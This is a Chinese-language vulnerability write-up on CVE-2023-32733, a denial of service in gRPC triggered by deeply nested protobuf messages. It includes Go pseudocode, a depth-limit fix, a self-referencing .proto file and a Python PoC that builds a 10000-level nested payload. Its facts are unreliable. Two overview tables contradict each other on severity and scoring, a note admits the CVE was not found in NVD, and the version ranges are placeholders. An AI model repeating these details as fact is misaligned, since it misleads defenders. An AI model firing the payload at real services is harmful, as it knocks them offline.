一、漏洞简介¶
1.1 漏洞背景¶
gRPC 在处理嵌套的 protobuf 消息时,如果递归深度过大,可能导致栈溢出或资源耗尽,造成拒绝服务。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2023-32733 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | gRPC 嵌套消息递归拒绝服务 |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | gRPC |
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2023-32733 |
| 危害等级 | 高危 (High) |
| CVSS 评分 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| CWE 编号 | CWE-674 (Uncontrolled Recursion) |
| 影响组件 | gRPC (多语言实现) |
核验说明:截至 2026-03-22 暂未在 NVD 公开记录中检索到 CVE-2023-32733,文中仅保留原始主题并明确标注待进一步核验。
二、影响范围¶
2.1 受影响的版本¶
- gRPC-Go 特定版本
- gRPC-Java 特定版本
- gRPC-C++ 特定版本
2.2 不受影响的版本¶
- 各语言实现的具体修复版本不同(详见官方公告)
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 服务端接收并处理客户端发送的 gRPC 请求
- 请求包含深度嵌套的 protobuf 消息
- 服务端未限制递归深度
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
- 构造恶意消息:攻击者创建深度嵌套的 protobuf 消息
- 递归解析:服务端在解析消息时进行递归调用
- 栈溢出/资源耗尽:深度递归导致栈空间或内存耗尽
- 服务崩溃:服务无法处理新请求
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞位置:protobuf 解析器中的递归处理逻辑
问题代码逻辑:
// 伪代码 - gRPC-Go 中的递归解析
func (m *Message) parseNested(data []byte) error {
for len(data) > 0 {
tag, wireType, n := decodeVarint(data)
data = data[n:]
if wireType == wireBytes {
// 嵌套消息 - 递归解析
nested := &Message{}
if err := nested.parseNested(data); err != nil {
return err // 无深度限制的递归
}
}
// ...
}
return nil
}
修复方案:
func (m *Message) parseNested(data []byte, depth int) error {
const maxDepth = 100 // 限制递归深度
if depth > maxDepth {
return errors.New("recursion depth exceeded")
}
for len(data) > 0 {
// ...
if wireType == wireBytes {
nested := &Message{}
if err := nested.parseNested(data, depth+1); err != nil {
return err
}
}
// ...
}
return nil
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
// nested.proto
syntax = "proto3";
message NestedMessage {
int32 value = 1;
NestedMessage nested = 2; // 自引用
}
4.2 PoC 演示与测试过程¶
#!/usr/bin/env python3
"""
CVE-2023-32733 PoC
构造深度嵌套的 protobuf 消息
"""
import nested_pb2
def create_deep_nested(depth):
"""创建指定深度的嵌套消息"""
if depth == 0:
msg = nested_pb2.NestedMessage()
msg.value = 1
return msg
msg = nested_pb2.NestedMessage()
msg.value = depth
msg.nested.CopyFrom(create_deep_nested(depth - 1))
return msg
# 创建深度嵌套的消息(如深度 10000)
malicious = create_deep_nested(10000)
payload = malicious.SerializeToString()
# 发送到 gRPC 服务
# 服务端解析时会触发深度递归
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级到各语言实现的修复版本:
- gRPC-Go: >= 修复版本
-
gRPC-Java: >= 修复版本¶
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
- 临时关闭高风险协议特性或在网关侧启用连接、并发与速率限制。
- 结合 WAF、负载均衡和熔断策略降低异常流量影响。
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- 暂未找到可直接引用的官方安全通告,请优先关注项目安全公告、发布说明与修复分支。
6.2 其他技术参考资料¶
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2023-32733